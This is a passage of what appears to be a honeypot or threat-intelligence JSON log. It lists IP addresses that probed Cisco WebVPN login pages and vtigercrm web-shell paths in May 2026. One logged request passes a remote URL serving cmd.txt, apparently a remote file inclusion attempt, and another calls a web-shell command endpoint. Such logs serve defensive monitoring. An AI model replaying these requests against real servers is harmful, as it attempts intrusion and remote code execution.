      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "146.70.165.158": {
      "attack_count": 21,
      "first_seen": "2026-05-02T02:13:46.956Z",
      "last_seen": "2026-05-10T04:39:06.188Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "166.88.72.196": {
      "attack_count": 21,
      "first_seen": "2026-05-27T13:45:19.848Z",
      "last_seen": "2026-05-30T02:43:21.492Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "176.53.133.41": {
      "attack_count": 21,
      "first_seen": "2026-05-27T03:17:29.997Z",
      "last_seen": "2026-05-27T14:39:12.080Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Highland",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.141.29": {
      "attack_count": 21,
      "first_seen": "2026-05-26T12:10:56.744Z",
      "last_seen": "2026-05-30T13:16:15.556Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.107.39": {
      "attack_count": 21,
      "first_seen": "2026-05-07T05:13:01.027Z",
      "last_seen": "2026-05-30T04:44:47.108Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.164": {
      "attack_count": 21,
      "first_seen": "2026-05-05T23:09:40.945Z",
      "last_seen": "2026-05-22T12:05:15.689Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.187.6": {
      "attack_count": 18,
      "first_seen": "2026-05-02T07:27:38.122Z",
      "last_seen": "2026-05-26T11:54:23.838Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.70": {
      "attack_count": 18,
      "first_seen": "2026-05-14T07:05:04.140Z",
      "last_seen": "2026-05-30T08:54:55.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.252.213": {
      "attack_count": 18,
      "first_seen": "2026-05-24T00:47:01.417Z",
      "last_seen": "2026-05-27T09:53:00.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.79": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:37:47.464Z",
      "last_seen": "2026-05-09T07:07:29.237Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.227": {
      "attack_count": 18,
      "first_seen": "2026-05-02T02:10:11.716Z",
      "last_seen": "2026-05-20T03:04:55.555Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.251.26.195": {
      "attack_count": 15,
      "first_seen": "2026-05-05T19:29:07.700Z",
      "last_seen": "2026-05-25T19:19:22.618Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "138.199.43.98": {
      "attack_count": 15,
      "first_seen": "2026-05-05T02:10:58.402Z",
      "last_seen": "2026-05-30T04:35:16.022Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.165.101": {
      "attack_count": 15,
      "first_seen": "2026-05-04T18:35:49.143Z",
      "last_seen": "2026-05-08T13:06:19.717Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.161": {
      "attack_count": 15,
      "first_seen": "2026-05-08T19:15:58.710Z",
      "last_seen": "2026-05-29T14:18:45.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.252.203": {
      "attack_count": 15,
      "first_seen": "2026-05-02T05:44:41.992Z",
      "last_seen": "2026-05-09T04:33:56.522Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "192.42.116.48": {
      "attack_count": 15,
      "first_seen": "2026-05-24T01:25:31.599Z",
      "last_seen": "2026-05-24T01:27:51.812Z",
      "ports": [],
      "event_types": [
        "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
        "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
        "\"GET /themes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /ucp.php? HTTP/1.1\" 404 -",
        "\"GET /user/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /var/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/ops.php?5awe6 HTTP/1.1\" 404 -",
        "\"GET /web-meetme/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /welcome/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /widgets/config.all.php? HTTP/1.1\" 404 -",
        "\"POST /ucp.php??act=cmd HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.94.150": {
      "attack_count": 15,
      "first_seen": "2026-05-07T10:08:24.721Z",
      "last_seen": "2026-05-24T01:40:23.528Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "130.49.94.135": {
      "attack_count": 14,
      "first_seen": "2026-05-27T06:53:48.128Z",
      "last_seen": "2026-05-31T03:44:14.200Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "SeaTac",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.88.161.26": {
      "attack_count": 14,
      "first_seen": "2026-05-30T05:09:53.622Z",
      "last_seen": "2026-05-31T03:06:59.407Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "166.88.175.208": {
      "attack_count": 14,
      "first_seen": "2026-05-26T07:50:55.059Z",
      "last_seen": "2026-05-29T13:02:01.949Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.218.117": {
      "attack_count": 14,
      "first_seen": "2026-05-27T05:40:21.487Z",
      "last_seen": "2026-05-27T20:18:25.677Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "193.176.21.76": {
      "attack_count": 14,
      "first_seen": "2026-05-26T16:25:28.222Z",
      "last_seen": "2026-05-29T00:57:10.468Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lincoln",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "195.69.162.160": {
      "attack_count": 14,
      "first_seen": "2026-05-29T06:58:57.947Z",
      "last_seen": "2026-05-31T04:25:47.963Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.162.40.24": {
      "attack_count": 14,
      "first_seen": "2026-05-05T20:00:32.142Z",
      "last_seen": "2026-05-29T23:44:18.730Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.230.77.32": {
      "attack_count": 14,
      "first_seen": "2026-05-30T03:17:20.147Z",
      "last_seen": "2026-05-30T08:43:38.928Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "23.162.40.195": {
      "attack_count": 12,
      "first_seen": "2026-05-04T17:42:23.581Z",
      "last_seen": "2026-05-29T20:36:45.522Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.73.203": {
      "attack_count": 12,
      "first_seen": "2026-05-04T22:31:21.501Z",
      "last_seen": "2026-05-27T09:10:28.110Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.24": {
      "attack_count": 12,
      "first_seen": "2026-05-19T04:08:41.120Z",
      "last_seen": "2026-05-30T14:11:16.521Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "149.40.50.106": {
      "attack_count": 9,
      "first_seen": "2026-05-05T17:58:05.229Z",
      "last_seen": "2026-05-27T01:32:08.542Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.116.192": {
      "attack_count": 9,
      "first_seen": "2026-05-04T12:13:05.433Z",
      "last_seen": "2026-05-07T11:04:24.848Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.68": {
      "attack_count": 9,
      "first_seen": "2026-05-17T03:53:21.599Z",
      "last_seen": "2026-05-28T00:22:58.997Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.148": {
      "attack_count": 9,
      "first_seen": "2026-05-05T10:58:16.421Z",
      "last_seen": "2026-05-29T12:56:51.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.66": {
      "attack_count": 9,
      "first_seen": "2026-05-05T22:10:32.324Z",
      "last_seen": "2026-05-07T10:26:48.003Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.168.150": {
      "attack_count": 8,
      "first_seen": "2026-05-26T16:02:43.130Z",
      "last_seen": "2026-05-30T01:53:32.276Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "109.94.216.230": {
      "attack_count": 7,
      "first_seen": "2026-05-27T22:19:11.251Z",
      "last_seen": "2026-05-27T22:19:22.340Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "135.106.107.75": {
      "attack_count": 7,
      "first_seen": "2026-05-30T06:38:56.479Z",
      "last_seen": "2026-05-30T06:39:12.233Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boutte",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "138.249.167.53": {
      "attack_count": 7,
      "first_seen": "2026-05-27T19:12:47.196Z",
      "last_seen": "2026-05-27T19:12:58.817Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.71.247": {
      "attack_count": 7,
      "first_seen": "2026-05-29T23:26:56.585Z",
      "last_seen": "2026-05-29T23:27:14.577Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.42.101": {
      "attack_count": 7,
      "first_seen": "2026-05-26T05:07:06.001Z",
      "last_seen": "2026-05-26T05:07:21.573Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "186.243.240.127": {
      "attack_count": 7,
      "first_seen": "2026-05-27T16:44:57.882Z",
      "last_seen": "2026-05-27T16:45:09.892Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.77.191": {
      "attack_count": 7,
      "first_seen": "2026-05-05T02:45:45.014Z",
      "last_seen": "2026-05-05T12:48:32.828Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.152.138.154": {
      "attack_count": 7,
      "first_seen": "2026-05-26T06:38:42.443Z",
      "last_seen": "2026-05-26T06:38:57.484Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.82.78.110": {
      "attack_count": 6,
      "first_seen": "2026-05-09T06:02:42.728Z",
      "last_seen": "2026-05-09T06:02:46.510Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited"
    },
    "45.95.147.229": {
      "attack_count": 6,
      "first_seen": "2026-05-23T18:06:45.947Z",
      "last_seen": "2026-05-23T18:17:37.264Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "66.132.195.52": {
      "attack_count": 6,
      "first_seen": "2026-05-11T09:06:52.909Z",
      "last_seen": "2026-05-11T09:07:43.705Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.224.82": {
      "attack_count": 6,
      "first_seen": "2026-05-30T12:46:29.493Z",
      "last_seen": "2026-05-30T12:46:48.326Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "185.220.101.188": {
      "attack_count": 5,
      "first_seen": "2026-05-24T01:24:38.126Z",
      "last_seen": "2026-05-24T01:24:44.825Z",
      "ports": [],
      "event_types": [
        "\"GET /system.php?xxw1 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/11.php?1 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/3Zz.php?2 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/Go.php?6 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/a7a.php?3 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "103.102.247.192": {
      "attack_count": 3,
      "first_seen": "2026-05-07T09:47:27.546Z",
      "last_seen": "2026-05-07T09:47:37.011Z",
      "ports": [],
      "event_types": [
